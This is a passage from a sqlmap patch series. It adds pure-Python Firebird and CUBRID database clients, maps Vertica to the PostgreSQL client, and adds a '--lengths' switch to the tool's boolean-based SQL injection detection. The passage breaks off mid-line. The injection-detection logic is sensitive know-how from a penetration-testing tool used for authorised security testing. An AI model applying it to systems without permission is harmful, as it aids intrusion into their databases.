plugin_list, public_key, wire_crypt): + def param(k, v): + if k != _CNCT_specific_data: + return bytes(bytearray([k, len(v)])) + v + out, i = b"", 0 + while len(v) > 254: + out += bytes(bytearray([k, 255, i])) + v[:254] + v = v[254:] + i += 1 + return out + bytes(bytearray([k, len(v) + 1, i])) + v + + try: + os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "") + except Exception: + os_user = "" + specific = _hex(_minbe(public_key)) + r = param(_CNCT_login, user.encode("utf-8")) + r += param(_CNCT_plugin_name, plugin) + r += param(_CNCT_plugin_list, plugin_list) + r += param(_CNCT_specific_data, specific) + r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00") + r += param(_CNCT_user, os_user.encode("utf-8")) + r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace")) + r += param(_CNCT_user_verification, b"") + return r + +def _hex(b): + return "".join("%02x" % c for c in bytearray(b)).encode("ascii") + +# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is +# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles) +_PROTOCOLS = ("0000000a00000001000000000000000300000002", + "ffff800b00000001000000000000000300000004", + "ffff800c00000001000000000000000300000006", + "ffff800d00000001000000000000000300000008", + "ffff800e0000000100000000000000030000000a", + "ffff800f0000000100000000000000030000000c", + "ffff80100000000100000000000000030000000e", + "ffff801100000001000000000000000300000010") + +def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs): + user = user or "SYSDBA" + password = password or "" + filename = (database or "").encode("utf-8") + plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth" + + try: + sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + wire = _Wire(sock) + try: + public_key, private_key = _srp_client_seed() + packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) + + _pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) + + _pack_bytes(_uid(user, plugin, plugin_list, public_key, True))) + for p in _PROTOCOLS: + packet += _unhex(p) + wire.send(packet) + + _authenticate(wire, user, password, public_key, private_key) + connection = Connection(wire, filename, user, password) + _attach(connection, wire, user) + except (DatabaseError, InterfaceError): + wire.close() + raise + except Exception as ex: + wire.close() + raise OperationalError("Firebird login failed (%s)" % ex) + return connection + +def _unhex(s): + return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2))) + +def _normalize_user(user): + if len(user) >= 2 and user[0] == '"' and user[-1] == '"': + return user[1:-1].replace('""', '"') + return user.upper() + +def _authenticate(wire, user, password, public_key, private_key): + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_reject: + raise OperationalError("Firebird connection rejected") + if op == _op_response: + Connection(wire, b"", user, password)._parse_response() # will raise the server error + raise OperationalError("Firebird connection rejected") + + wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off) + if op == _op_accept: + return b"" # plaintext, no encryption negotiated + + data = wire.recv_bytes() + plugin_name = wire.recv_bytes() + wire.recv_int() # is_authenticated + wire.recv_bytes() # keys + if plugin_name not in (b"Srp256", b"Srp"): + raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name) + if not data: + raise OperationalError("Firebird server sent no SRP challenge") + + salt_len = _le(data[:2]) + salt = data[2:2 + salt_len] + # the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length + # hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it) + server_public = int(data[4 + salt_len:].decode("ascii"), 16) + hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1 + proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"), + password.encode("utf-8"), salt, + public_key, server_public, private_key, hash_algo) + + wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) + + _pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b"")) + buf = _read_response(wire, user, password) + + enc_plugin, nonce = _guess_wire_crypt(buf) + if not (enc_plugin and session_key): + raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin") + wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric")) + if enc_plugin in (b"ChaCha", b"ChaCha64"): + k = hashlib.sha256(session_key).digest() + wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce)) + elif enc_plugin == b"Arc4": + wire.set_ciphers(_ARC4(session_key), _ARC4(session_key)) + else: + raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin) + _read_response(wire, user, password) # first encrypted message + return session_key + +def _read_response(wire, user, password): + # a bare op_response reader used during the login handshake (before a Connection exists) + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_cont_auth: + raise OperationalError("Firebird authentication failed") + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d during login" % op) + return Connection(wire, b"", user, password)._parse_response()[2] + +def _attach(connection, wire, user): + dpb = bytearray([_isc_dpb_version1]) + dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8") + ub = user.encode("utf-8") + dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub) + dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack("...) -VERSION = "1.10.7.88" +VERSION = "1.10.7.89" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dad2f02f28caa2df63ca6c53c61e4eb873d9c1b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 13:11:40 +0200 Subject: [PATCH 03/15] Minor update --- extra/dbwire/README.md | 2 +- extra/dbwire/postgres.py | 2 +- lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- 4 files changed, 4 insertions(+), 3 deletions(-) diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md index 8573841295..cadafcf005 100644 --- a/extra/dbwire/README.md +++ b/extra/dbwire/README.md @@ -20,7 +20,7 @@ A wire protocol is shared across a whole family of products, so one client serve | Module | Protocol | Engines | |-----------------|---------------------|---------| -| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum | +| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica | | `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | | `tds.py` | TDS | Microsoft SQL Server, Sybase | | `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | diff --git a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py index 227fe69547..9c06bd79e4 100644 --- a/extra/dbwire/postgres.py +++ b/extra/dbwire/postgres.py @@ -8,7 +8,7 @@ """ Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only). -Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, ...). +Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica). Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the diff --git a/lib/core/dicts.py b/lib/core/dicts.py index c1c2dd907b..49a75f86b9 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -271,6 +271,7 @@ DBMS.MONETDB: "monetdb", DBMS.PRESTO: "presto", DBMS.FIREBIRD: "firebird", + DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth) } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ diff --git a/lib/core/settings.py b/lib/core/settings.py index a81c94f483..75754d3350 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.89" +VERSION = "1.10.7.90" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 59933891e08f784f823c034cdc157cd1e051515e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 13:37:04 +0200 Subject: [PATCH 04/15] Adding CUBRID to dbwire --- data/xml/queries.xml | 6 +- extra/dbwire/README.md | 3 + extra/dbwire/cubrid.py | 442 +++++++++++++++++++++++++++++++ lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/cubrid/connector.py | 2 +- 6 files changed, 451 insertions(+), 5 deletions(-) create mode 100644 extra/dbwire/cubrid.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index b619a7a882..28f0526a6e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1509,7 +1509,7 @@ - + @@ -1532,8 +1532,8 @@ - - + + diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md index cadafcf005..cfd37dceba 100644 --- a/extra/dbwire/README.md +++ b/extra/dbwire/README.md @@ -24,6 +24,7 @@ A wire protocol is shared across a whole family of products, so one client serve | `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | | `tds.py` | TDS | Microsoft SQL Server, Sybase | | `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | +| `cubrid.py` | CUBRID CAS | CUBRID | | `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks | | `monetdb.py` | MAPI | MonetDB | | `presto.py` | HTTP/REST (JSON) | Presto, Trino | @@ -59,6 +60,8 @@ parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-pr require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. - **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented. +- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as + their raw locator handles rather than fetched inline. When a case is not supported, the client raises a clear `NotSupportedError` rather than returning wrong data, so `-d` cleanly falls through to another connector tier where possible. diff --git a/extra/dbwire/cubrid.py b/extra/dbwire/cubrid.py new file mode 100644 index 0000000000..ae6f95f5e7 --- /dev/null +++ b/extra/dbwire/cubrid.py @@ -0,0 +1,442 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib +only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a +cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented +for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes +(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent. +""" + +import datetime +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import InterfaceError +from extra.dbwire import IntegrityError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +_MAGIC = b"CUBRK" +_CLIENT_JDBC = 3 +_CAS_VERSION = 0x48 # PROTO_INDICATOR(0x40) | VERSION(8) + +# function codes (first raw byte of each request) +_FC_END_TRAN = 1 +_FC_PREPARE = 2 +_FC_EXECUTE = 3 +_FC_SET_DB_PARAMETER = 5 +_FC_CLOSE_REQ_HANDLE = 6 +_FC_FETCH = 8 +_FC_CON_CLOSE = 31 + +_TRAN_COMMIT = 1 +_TRAN_ROLLBACK = 2 +_PARAM_AUTO_COMMIT = 4 + +_OID_SIZE = 8 +_STMT_SELECT = 21 + +# CUBRID CCI_U_TYPE column type codes +_T_CHAR = 1 +_T_STRING = 2 +_T_NCHAR = 3 +_T_VARNCHAR = 4 +_T_BIT = 5 +_T_VARBIT = 6 +_T_NUMERIC = 7 +_T_INT = 8 +_T_SHORT = 9 +_T_MONETARY = 10 +_T_FLOAT = 11 +_T_DOUBLE = 12 +_T_DATE = 13 +_T_TIME = 14 +_T_TIMESTAMP = 15 +_T_OBJECT = 19 +_T_BIGINT = 21 +_T_DATETIME = 22 +_T_BLOB = 23 +_T_CLOB = 24 +_T_ENUM = 25 +_T_JSON = 34 +_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON)) +_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB)) + +_MAX_MESSAGE_LENGTH = 0x40000000 # guard against a hostile/corrupt length + +class _Writer(object): + # builds a request payload (after the 8-byte header): raw function code + length-prefixed args + def __init__(self, fc): + self._buf = bytearray(struct.pack(">B", fc)) + + def raw_int(self, v): + self._buf += struct.pack(">i", v); return self + + def raw_byte(self, v): + self._buf += struct.pack(">B", v); return self + + def arg_int(self, v): + self._buf += struct.pack(">ii", 4, v); return self + + def arg_byte(self, v): + self._buf += struct.pack(">iB", 1, v); return self + + def arg_null(self): + self._buf += struct.pack(">i", 0); return self + + def arg_cache_time(self): + self._buf += struct.pack(">iii", 8, 0, 0); return self + + def arg_nts(self, s): # null-terminated string arg: [len(utf8)+1][utf8][00] + b = s.encode("utf-8") + self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self + + def payload(self): + return bytes(self._buf) + +class _Reader(object): + def __init__(self, buf): + self._buf = buf + self._off = 0 + + def remaining(self): + return len(self._buf) - self._off + + def byte(self): + v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v + + def short(self): + v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v + + def int(self): + v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v + + def long(self): + v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v + + def float(self): + v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v + + def double(self): + v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v + + def raw(self, n): + v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v) + + def skip(self, n): + self._off += n + + def nts(self, n): # n bytes, drop one trailing NUL if present + b = self.raw(n) + if b and bytearray(b)[-1:] == bytearray(b"\x00"): + b = b[:-1] + return b + +def _decode_text(raw): + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy + +def _decode_value(reader, col_type, size): + if col_type in _STRING_TYPES: + return _decode_text(reader.nts(size)) + if col_type in (_T_BIT, _T_VARBIT): + return reader.raw(size) + if col_type == _T_NUMERIC: + return _decode_text(reader.nts(size)) # DECIMAL arrives as ASCII text + if col_type == _T_INT: + return str(reader.int()) + if col_type == _T_SHORT: + return str(reader.short()) + if col_type == _T_BIGINT: + return str(reader.long()) + if col_type == _T_FLOAT: + return repr(reader.float()) + if col_type in (_T_DOUBLE, _T_MONETARY): + return repr(reader.double()) + if col_type == _T_DATE: + y, mo, d = reader.short(), reader.short(), reader.short() + return "%s" % datetime.date(y, mo, d) + if col_type == _T_TIME: + h, mi, s = reader.short(), reader.short(), reader.short() + return "%s" % datetime.time(h, mi, s) + if col_type == _T_TIMESTAMP: + vals = [reader.short() for _ in range(6)] + return "%s" % datetime.datetime(*vals) + if col_type == _T_DATETIME: + y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7)) + return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000) + if col_type == _T_OBJECT: + page, slot, vol = reader.int(), reader.short(), reader.short() + return "OID:@%d|%d|%d" % (page, slot, vol) + return reader.raw(size) # BLOB/CLOB locator or unknown type -> raw bytes + +class _Column(object): + __slots__ = ("name", "type", "scale", "precision") + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, self.rowcount = self.connection._query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, database, timeout): + self._host = host + self._port = port + self._user = user + self._password = password + self._database = database + self._timeout = timeout + self._sock = None + self._cas_info = b"\x00\x00\x00\x00" + self._protocol_version = 8 + self._open() + + def cursor(self): + return Cursor(self) + + def commit(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT)) + + def rollback(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK)) + + def close(self): + try: + if self._sock is not None: + self._send(_Writer(_FC_CON_CLOSE).payload()) + except Exception: + pass + self._safe_close() + + # ---- connection / framing ---- + + def _safe_close(self): + try: + if self._sock is not None: + self._sock.close() + except Exception: + pass + self._sock = None + + def _recvn(self, n): + buf = b"" + while len(buf) < n: + chunk = self._sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + + def _open(self): + # broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login + try: + sock = socket.create_connection((self._host, self._port), timeout=self._timeout) + sock.settimeout(None) + sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00") + self._sock = sock + (port,) = struct.unpack(">i", self._recvn(4)) + if port < 0: + raise OperationalError("CUBRID broker rejected the connection (status %d)" % port) + if port > 0: # redirected to a CAS worker: reconnect there, no second handshake + self._safe_close() + sock = socket.create_connection((self._host, port), timeout=self._timeout) + sock.settimeout(None) + self._sock = sock + except (socket.error, socket.timeout) as ex: + self._safe_close() + raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex)) + + login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32) + login += b"\x00" * 532 # 512 extended-info + 20 reserved + self._sock.sendall(login) + reader = self._read_response() + reader.int() # response_code (>=0; errors already raised in _read_response) + broker = reader.raw(8) + self._protocol_version = bytearray(broker)[4] & 0x3f + # enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance) + self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1)) + + @staticmethod + def _fixed(value, length): + b = (value or "").encode("utf-8")[:length] + return b + b"\x00" * (length - len(b)) + + def _send(self, payload): + # frame: [payload_len(4)][cas_info(4)][payload] + self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload) + + def _read_response(self): + (data_length,) = struct.unpack(">i", self._recvn(4)) + if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid CAS response length (%d)" % data_length) + body = self._recvn(data_length + 4) # cas_info(4) + payload(data_length) + self._cas_info = body[:4] + reader = _Reader(body[4:]) + peek = struct.unpack_from(">i", body, 4)[0] + if peek < 0: # error response: response_code(<0), errno, message + reader.int() + errno = reader.int() + message = _decode_text(reader.nts(reader.remaining())) + if not isinstance(message, str): + message = "errno %d" % errno + self._raise(errno, "(remote) %s" % message.strip()) + return reader + + def _call(self, writer): + # reconnect transparently if the CAS worker was released after a previous auto-committed statement + if self._sock is None or bytearray(self._cas_info)[0] == 0: + self._open() + try: + self._send(writer.payload() if isinstance(writer, _Writer) else writer) + return self._read_response() + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + @staticmethod + def _raise(errno, message): + text = message.lower() + if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")): + raise IntegrityError(message) + if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before ' '")): + raise ProgrammingError(message) + if any(k in text for k in ("cast", "conversion", "overflow", "truncat")): + raise DataError(message) + raise ProgrammingError(message) + + # ---- query ---- + + def _query(self, query): + reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0)) + handle = reader.int() + reader.int() # result cache lifetime + stmt_type = reader.byte() + reader.int() # bind count + reader.byte() # is_updatable + columns = self._parse_columns(reader, reader.int()) + + exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0) + .arg_null().arg_byte(1 if stmt_type == _STMT_SELECT else 0) + .arg_byte(0).arg_byte(1).arg_cache_time().arg_int(0)) + reader = self._call(exec_writer) + + total = reader.int() + reader.byte() # cache reusable + result_count = reader.int() + result_infos = [self._parse_result_info(reader) for _ in range(result_count)] + if self._protocol_version > 1: + reader.byte() # includes_column_info + if self._protocol_version > 4: + reader.int() # shard_id + + description, rows, rowcount = None, [], -1 + if stmt_type == _STMT_SELECT and columns: + description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns] + if reader.remaining() >= 8: + reader.int() # fetch code + tuple_count = reader.int() + rows = self._parse_rows(reader, tuple_count, columns) + rows += self._fetch_remaining(handle, columns, len(rows), total) + elif result_infos: + rowcount = result_infos[0] + self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle)) + return description, rows, rowcount + + def _fetch_remaining(self, handle, columns, fetched, total): + rows = [] + while fetched + len(rows) < total: + reader = self._call(_Writer(_FC_FETCH).arg_int(handle) + .arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0)) + reader.int() # response code (>=0) + tuple_count = reader.int() + if tuple_count <= 0: + break + rows += self._parse_rows(reader, tuple_count, columns) + return rows + + def _parse_result_info(self, reader): + reader.byte() # stmt type + count = reader.int() # affected rows + reader.raw(_OID_SIZE) + reader.int(); reader.int() # cache time sec/usec + return count + + def _parse_columns(self, reader, count): + columns = [] + for _ in range(count): + col = _Column() + legacy = reader.byte() + col.type = reader.byte() if legacy & 0x80 else legacy + col.scale = reader.short() + col.precision = reader.int() + col.name = _to_str(reader.nts(reader.int())) + reader.nts(reader.int()) # real name + reader.nts(reader.int()) # table name + reader.byte() # is_nullable + reader.nts(reader.int()) # default value + reader.skip(7) # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared + columns.append(col) + return columns + + def _parse_rows(self, reader, tuple_count, columns): + rows = [] + for _ in range(tuple_count): + reader.int() # row index + reader.skip(_OID_SIZE) + row = [] + for col in columns: + size = reader.int() + if size <= 0: + row.append(None) + else: + row.append(_decode_value(reader, col.type, size)) + rows.append(tuple(row)) + return rows + +def _to_str(b): + v = _decode_text(b) + return v if isinstance(v, str) else v.decode("latin-1") + +def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + return Connection(host or "localhost", int(port or 33000), user or "public", + password or "", database or "", connect_timeout) + except (DatabaseError, InterfaceError): + raise + except Exception as ex: + raise OperationalError("CUBRID connection failed (%s)" % ex) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 49a75f86b9..2387a47727 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -272,6 +272,7 @@ DBMS.PRESTO: "presto", DBMS.FIREBIRD: "firebird", DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth) + DBMS.CUBRID: "cubrid", } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ diff --git a/lib/core/settings.py b/lib/core/settings.py index 75754d3350..6e30f5b2a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.90" +VERSION = "1.10.7.91" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index cc17cd8aa1..cd869ec20a 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -33,7 +33,7 @@ def connect(self): # CUBRIDdb.connect takes a positional URL 'CUBRID:host:port:db:::' then user/password positionally # (it does not accept hostname/username/database keyword args, which raised a TypeError before) self.connector = CUBRIDdb.connect("CUBRID:%s:%s:%s:::" % (self.hostname, self.port, self.db), str(self.user), str(self.password)) - except Exception as ex: + except CUBRIDdb.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() From d69ae9132539d50505a8db2c1486e68980200ddb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 13:42:42 +0200 Subject: [PATCH 05/15] Minor patch --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 28f0526a6e..8313e94dfb 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1548,8 +1548,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 6e30f5b2a3..42e82a9b55 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.91" +VERSION = "1.10.7.92" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 16cd9425ae75a307f1012260eaf55b3de86e162e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 14:42:34 +0200 Subject: [PATCH 06/15] Introducing detection switch --lengths --- lib/controller/checks.py | 15 +++++++++++---- lib/core/common.py | 1 + lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/request/comparison.py | 4 ++++ 6 files changed, 21 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d190d47820..527a52e3f1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -523,6 +523,7 @@ def genCmpPayload(): # Useful to set kb.matchRatio at first based on False response content kb.matchRatio = None + kb.trueLength = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) suggestion = None Request.queryPage(genCmpPayload(), place, raise404=False) @@ -530,7 +531,7 @@ def genCmpPayload(): falseRawResponse = "%s%s" % (falseHeaders, falsePage) # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) - if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)): + if not any((kb.negativeLogic, conf.string, conf.notString, conf.code, conf.lengths)): try: ratio = 1.0 seqMatcher = getCurrentThreadData().seqMatcher @@ -550,6 +551,10 @@ def genCmpPayload(): truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) + if conf.lengths: + kb.trueLength = len(truePage) + trueResult = True + if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) @@ -563,7 +568,7 @@ def genCmpPayload(): errorResult = Request.queryPage(errorPayload, place, raise404=False) if errorResult: continue - elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, kb.nullConnection)): _ = comparison(kb.heuristicPage, None, getRatioValue=True) if (_ or 0) > (kb.matchRatio or 0): kb.matchRatio = _ @@ -575,7 +580,7 @@ def genCmpPayload(): injectable = True - elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)): originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) @@ -613,7 +618,7 @@ def genCmpPayload(): injectable = False continue - if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode @@ -805,12 +810,14 @@ def genCmpPayload(): injection.data[stype].comment = 